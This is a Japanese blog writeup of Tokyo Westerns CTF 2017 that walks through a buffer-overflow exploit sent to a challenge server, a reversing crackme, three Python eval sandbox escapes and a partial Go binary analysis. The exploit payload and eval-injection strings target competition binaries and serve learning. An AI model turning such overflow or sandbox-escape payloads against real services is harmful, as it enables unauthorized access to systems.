yyy

CTFつよくなりたい

Tokyo Westerns CTF 3rd 2017 Writeup

開催期間(JST)

09/02 AM9:00 ~ 09/04 AM9:00

結果

・チーム名:wabisabi

・得点:213pt

・順位:得点したチーム中,133/901

解いた問題

・Just do it!

・Rev Rev Rev

・pplc: private

・pplc: local

・pplc: comment

取り組んだが解けなかった問題

・Let’s go!

はじめに

実際に集まることはなかったのですが,slackでちょいちょいやり取りしながらチームメンバーのkobadとよね君と一緒に参加してました.

Warmupは全部解きたいねって話をメンバーにしたのですが,cryptoの1問が残ってしまいました.cryptoちょっと見てみたけどrevやりたかったのでそっと閉じました.

途中,ちょっと遠くに美味しいラーメンを食べに行ったり,翌日の日曜は近所の高校の学園祭にお邪魔して遊んでたりしてて,夕方帰ってきてから朝まで気合でLet’s go!のバイナリを読んでた,そんな感じのCTFでした.

Writeup

Just do it!

やるだけ問でした.

実行するとこんな感じ.flag.txtを作る必要がある.

$ ./just_do_it56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa
Welcome my secret service. Do you know the password?
Input the password.
hoge
Invalid Password, Try Again!

flagを中で読み込んでるけど,出力はしないみたいな感じで,あとBoFがある.

オーバーフローした先がputsで入力値を出力する場所だったので,オーバーフローさせてからputsに渡すアドレスをflagのある場所に変えるだけ.

$ echo -e "AAAAAAAAAAAAAAAAAAAA\x80\xa0\x04\x08" |./just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa
Welcome my secret service. Do you know the password?
Input the password.
FLAG{xxxx}

これをリモートに送ってやるとflagが貰える.

$ echo -e "AAAAAAAAAAAAAAAAAAAA\x80\xa0\x04\x08" |nc pwn1.chal.ctf.westerns.tokyo 12345
Welcome my secret service. Do you know the password?
Input the password.
TWCTF{pwnable_warmup_I_did_it!}

Rev Rev Rev

一番最初に解いた問題でした.

$ ./rev_rev_rev-a0b0d214b4aeb9b5dd24ffc971bd391494b9f82e2e60b4afc20e9465f336089f
Rev! Rev! Rev!
Your input: hoge
Invalid!

crackme系の問題っぽい.

確か,最初に入力値から改行を取り除き,その文字列を反転して,さらに2回ほど暗号化っぽいことをやってた気がする.

で,それがとある文字列と等しいかどうか判定している.

最初に思いついたのが,アルファベットと数字を全て入力して,生成される文字列からテーブルみたいなのを作って,あとは読むだけ,みたいなやり方.

最初にABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzと入力しようとしたら,確か文字列の制限があって,小文字大文字に分けて出力結果をメモっていった.

結果,プログラム書くより手でやったほうが早そうだったので,こんな感じになった↓

0xd5, 0x15, 0x3d, 0xd5, 0x9d, 0x21, 0x71, 0xf1, 0xa1, 0x69, 0x31, 0x61, 0xdd, 0x89, 0xb9, 0x49, 0xb9, 0x09, 0xa1, 0x13, 0x93, 0x09, 0x19, 0xc9, 0xe1, 0xf1, 0xa1, 0x65, 0xd9, 0x29, 0x41
T     W     C     T     F     {     q     p     z     i     s     y     D     n     b     m     b     o     z     7     6     o     g     l     x     p     z     Y     d     k    }

ABCDEFGHIJKLMNOPQRSTUVWXYZ
0x7d, 0xbd, 0x3d, 0xdd, 0x5d, 0x9d, 0x1d, 0xed, 0x6d, 0xad, 0x2d, 0xcd, 0x4d, 0x8d, 0x0d, 0xf5, 0x75, 0xb5, 0x35, 0xd5, 0x55, 0x95, 0x15, 0xe5, 0x65, 0xa5

abcdefghijklmnopqrstuvwxyz
0x79, 0xb9, 0x39, 0xd9, 0x59, 0x99, 0x19, 0xe9, 0x69, 0xa9, 0x29, 0xc9, 0x49, 0x89, 0x09, 0xf1, 0x71, 0xb1, 0x31, 0xd1, 0x51, 0x91, 0x11, 0xe1, 0x61, 0xa1


1234567890
0x73, 0xb3, 0x33, 0xd3, 0x53, 0x93, 0x13, 0xe3, 0x63, 0xf3
TWCTF{qpzisyDnbmboz76oglxpzYdk}

pplc: private

自分は初めてみる形式の問題で,脳トレっぽくて楽しめました.

pythonソースコードが渡されます. あと,このプログラムが動いているサーバがあります.

import sys
from restrict import Restrict

r = Restrict()
# r.set_timeout()

class Private:
    def __init__(self):
        pass

    def __flag(self):
        return "TWCTF{CENSORED}"

p = Private()
Private = None

d = sys.stdin.read()
assert d is not None
assert "Private" not in d, "Private found!"
d = d[:24]

r.seccomp()

print eval(d)

問題の概要としては,Privateの中にある__flag関数を呼んでフラグを取ってね,みたいな感じ.

そんなの普通に呼べばいいやんけってわけにはいかなくて,pythonにはprefixとしてアンダースコア2つで関数を定義すると,マングリング機構というものが働いて,メソッド名が_クラス名__メソッド名に変換されるので,元の名前では呼ぶことができなくなります.

そう,元の名前では呼べないだけで,変換された名前で呼んであげれば勝ちです.

しかし,assertが働いているので “Private” という文字列を入力することができません.

ここで,先日参加したkatagaitai勉強会のXSS千本ノックで学んだXSS的思考が役に立ちました.

まず,dir(p)でpオブジェクトのメソッド一覧を調べます.

すると,変換された名前である “_Private__flag” が第1要素として格納されているので,これを使います.

eval("p."+dir(p)[0]+"()")

これで,一度式が評価されて “p._Private_flag()” という文字列が生成されてから,再度元々のevalにより関数として評価されて勝ち!って思ったんだけど,これは25文字になってしまい,24文字制限があるこの問題では最後の “)” が入力されない.

ここで結構悩んでいたのですが,文字列の中で変数展開的なことできなかったっけ?と思って,

eval('p.%s()'%dir(p)[0])

こう書いてみたら24文字ぴったりでした.

$ ncat ppc1.chal.ctf.westerns.tokyo 10000
eval('p.%s()'%dir(p)[0])

TWCTF{__private is not private}

参考:

d.hatena.ne.jp

pplc: local

ソースコード

import sys
from restrict import Restrict

r = Restrict()
# r.set_timeout()

def get_flag(x):
    flag = "TWCTF{CENSORED}"
    return x

d = sys.stdin.read()
assert d is not None
d = d[:30]

r.seccomp()

print eval(d)

get_flagの中で定義されているローカル変数であるflagを読みだす問題.

無理ゲーやろって思って,過去問見ながら調べてたら去年はRubyの問題でデバッグ関係の関数が役に立ったというのを見て,調べてたけどダメ.

さっきみたいにdirでget_flagのメソッド取り出してアクセスできないかなと調べてたら以下のサイトが役に立った.

関数オブジェクトと属性 - 愚鈍人

dir(get_flag.func_code)でメソッド全部出して,それっぽいのを見ていきました.

dir(get_flag.func_code)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']

get_flag.func_code.co_argcount
1

get_flag.func_code.co_code
d}|S

$ get_flag.func_code.co_consts
(None, 'TWCTF{CENSORED}')

$ ncat ppc1.chal.ctf.westerns.tokyo 10001
get_flag.func_code.co_consts
(None, 'TWCTF{func_code is useful for metaprogramming}')

pplc: comment

ソースコード

import sys
from restrict import Restrict

r = Restrict()
# r.set_timeout()

d = sys.stdin.read()
assert d is not None
d = d[:20]

import comment_flag
r.seccomp()

print eval(d)
'''
Welcome to unreadable area!
FLAG is TWCTF{CENSORED}
'''

メモリ上の値をどうにかして呼び出すのかな~とか思ってimport gc; gc.get_objects()とかをやろうとしていたのですが,evalは文を評価してくれないため詰み.

localを解いた後だったので,さっきみたいなところに入ってたりしないかな~と適当に見ていったら見つかって拍子抜けした.

dir(comment_flag)
['__builtins__', '__doc__', '__file__', '__name__', '__package__']

comment_flag.__doc__

Welcome to unreadable area!
FLAG is TWCTF{CENSORED}

$ ncat ppc1.chal.ctf.westerns.tokyo 10002
comment_flag.__doc__

Welcome to unreadable area!
FLAG is TWCTF{very simple docstring}

__doc__に入るっぽい

取り組んだが解けなかった問題

Let’s go!

golang x crackme な感じのやつでした.

絶対解くぞと思って朝までやっててもできなかったので,途中までやったことを書いていきます.

$ file lets_go
lets_go: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

一見普通のELFっぽいですが,中を見てみると見慣れない関数とかがあって調べてみたらgolangで書かれたものでした.(Let’s go!という問題文も納得)

passwordとなる文字列をコマンドライン引数で渡して実行する形式.

$ ./lets_go hoge
Failed... ;(

まずはpasswordを比較しているところを探すことから始めました.

あと,golangバイナリの読み方?的なことも調べつつ.

main.mainから読んでいきます.

main.mainはこんな感じです.

f:id:ywkw1717:20170904153815j:plain

このプログラムは引数がちゃんと渡されていたら,テーブルの生成とパスワードチェックの関数が実行されるようになっています.

テーブルは,後ほど出てくる暗号化で使われているテーブルです.

main.UhoCh5ooSeith0ee7Ienで生成されているのですが,詳細な動作を読む必要は無さそう.

結果として,

WPnq7JEM2AskwjoX3VRx9aHbiYfd4#Zp05TUGc1SBCFNgvhz8rQl6@ytIKumDeOL

というテーブルが生成されます.

テーブルが生成された後,main.mainにてmain.Xerei4oreeshex6zien0という関数が実行されます.

0x492a5c <main.main+140>: call   0x491fa0 <main.Xerei4oreeshex6zien0>

この関数はパスワードチェックやFLAGが正しいかどうかのチェックも担っているチェック関数みたいなやつです.

こいつの内部でcallされている関数の中で重要な関数がmain.Wuyeiqua4ievohR4ahngです.

入力値やテーブルなどを受け取ってなんかやってます.

これを実行すると戻り値として暗号化っぽい処理を施された文字列が返ってきます.

その後,その戻り値がR6aYb@VboTG==かどうかで分岐しているので,main.Wuyeiqua4ievohR4ahngをもっと詳しく読む必要があります.

main.Wuyeiqua4ievohR4ahngでは,入力値を2進数化してから,

0x491d70:    e8 cb 40 fc ff          call   455e40 <strconv.ParseInt>

ここで,その値をパースしています.確か引数として6とかを渡していて,”先頭から6文字づつ取り出す”とかそんな挙動になると思います.

そして,

0x491d8b:    48 8b 94 24 e0 00 00    mov    rdx,QWORD PTR [rsp+0xe0] # rdx = table
0x491d92:   00
0x491d93:   0f b6 04 02             movzx  eax,BYTE PTR [rdx+rax*1] # eax = table[rax]

ここで,ParseIntの結果をtableのインデックスとして用いて,tableから1文字取り出す,ということをやっています.

つまり,'A'という入力値が与えられた場合,まず'A'の2進表現として01000001に変換され,先頭から6文字である'010000'が取り出される.

これは10進数で16なので,table[16]である3が取り出され,残りの01に対しても6bitに拡張される?からなのか,010000となり,同じようにtable[16]である3が取り出されます.

そして,1回目のjoinで結合されて'33'になり,2回目のjoinでパディングが付与されて'33===‘になる,みたいな挙動をします.

6bitで区切って末尾にパディングはイメージ的にはbase64っぽい.

そこで,何をすればパスワードが求まるかというと,"R6aYb@VboTG==“のそれぞれの文字に対してtableからインデックスを求めてからそれを2進数化、そして8文字区切りで読んでいけば読める、パディングは無視します.

tableにおけるRの位置は18, 6は52,,,,,これを続けていき,求まった値をスクリプトに書いてパスワードを求めました.

#!/usr/bin/env python
import sys


def main():
    password = [18, 52, 21, 25, 23, 53, 17, 23, 14, 34, 36]  # "R6aYb@VboTG"
    pass_bin = ""

    for i in password:
        pass_bin = pass_bin + format(i, 'b').zfill(6)

    for i in range(len(pass_bin)/8):
        sys.stdout.write(chr(int(str(pass_bin[i*8:i*8+8]), 2)))


if __name__ == '__main__':
    main()

すると,"KEY_TW:)“というパスワードが求まります.

ここからが本題で,求まったパスワードを元に実行すると,

$ ./lets_go "KEY_TW:)"
Input FLAG: hoge
Failed... ;(

このように,渡されたFLAGの値を正しいかどうかチェックするようになります.

読むべき場所はここ

0x4924ab <main.Xerei4oreeshex6zien0+1291>:  call   0x491a80 <main.f1151e71905f3d94b49b0>

この関数,渡されたパスワードを元にゴニョゴニョやっているので,パスワードについては分岐を潰すだけではダメで,実際に↑で書いたように正しい値を求める必要があります.

この関数に入る前に,

0x4923cf <main.Xerei4oreeshex6zien0+1071>: cmp    rcx,0x30 // 入力値は48文字
0x4923d3 <main.Xerei4oreeshex6zien0+1075>: jne    0x4926e6 <main.Xerei4oreeshex6zien0+1862> // 48文字ではなかったらExit

ここでFLAGの文字数を48文字でなかったらFailedになる処理があるので,適当に48文字与える必要があります.

ここでは”TWCTF{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}”という文字列を与えます.

(ここら辺から言っていることが正しいのか自信がないので間違ってたら申し訳ない)

では先ほど出てきたmain.f1151e71905f3d94b49b0がなにをしているのかというと,渡された48文字を先頭から8文字取り出して,

'TWCTF{AA'[0] + 'KEY_TW:)'[0]

まず,この値を求めます. そして,スタック上にできているtable(先ほどとは違うもの)に対して,この値をインデックスとして取り出す.

取り出した値に,TWCTF{AAの'W'を加えて,それをRCXに格納.

RCX = table[ 'TWCTF{AA'[0] + 'KEY_TW:)'[0] ] + 'TWCTF{AA'[1]
rol cl, 1

最後にRCXの下位8bitをrolしてから,RCXの下位8bitを"TWCTF{AA"の指定の場所に格納して"TdCTF{AA"になってそのまま32回繰り返すので,次に"Td,TF{AA"となり,これがどんどん繰り返されて最終的に64bitのよくわからない値になります.

そして,main.f1151e71905f3d94b49b0からretして

0x492574 <main.Xerei4oreeshex6zien0+1492>: call   0x464780 <reflect.DeepEqual>

にて,値が正しいのか確かめていると思う.

この処理を計6回行って48文字の正誤を検証しているっぽいです.

で,DeepEqualにてどんな値とそれぞれ比較されているのかというと

1回目:0x48fd9fdd395cfe4a
2回目:0x555ed4725bde6cf0
3回目:0xb492d5de09fa160
4回目:0x9c326531f39e320e
5回目:0x5eecc9092cef233d
6回目:0x10b4e73f5fd73945

つまり,これがFLAGっぽいです.

Z3使えば答えが求まるかなと思って,少しづつ書いていたのですが,できずにタイムアップしました.

他の方のWriteupを読みたいと思います…

まとめ

解けた中で一番面白かったのはpplc,解けなかったけど一番時間をかけたのはLet’s go!でした.

Let’s go!が解けていれば順位が2桁だったので悔しさがある…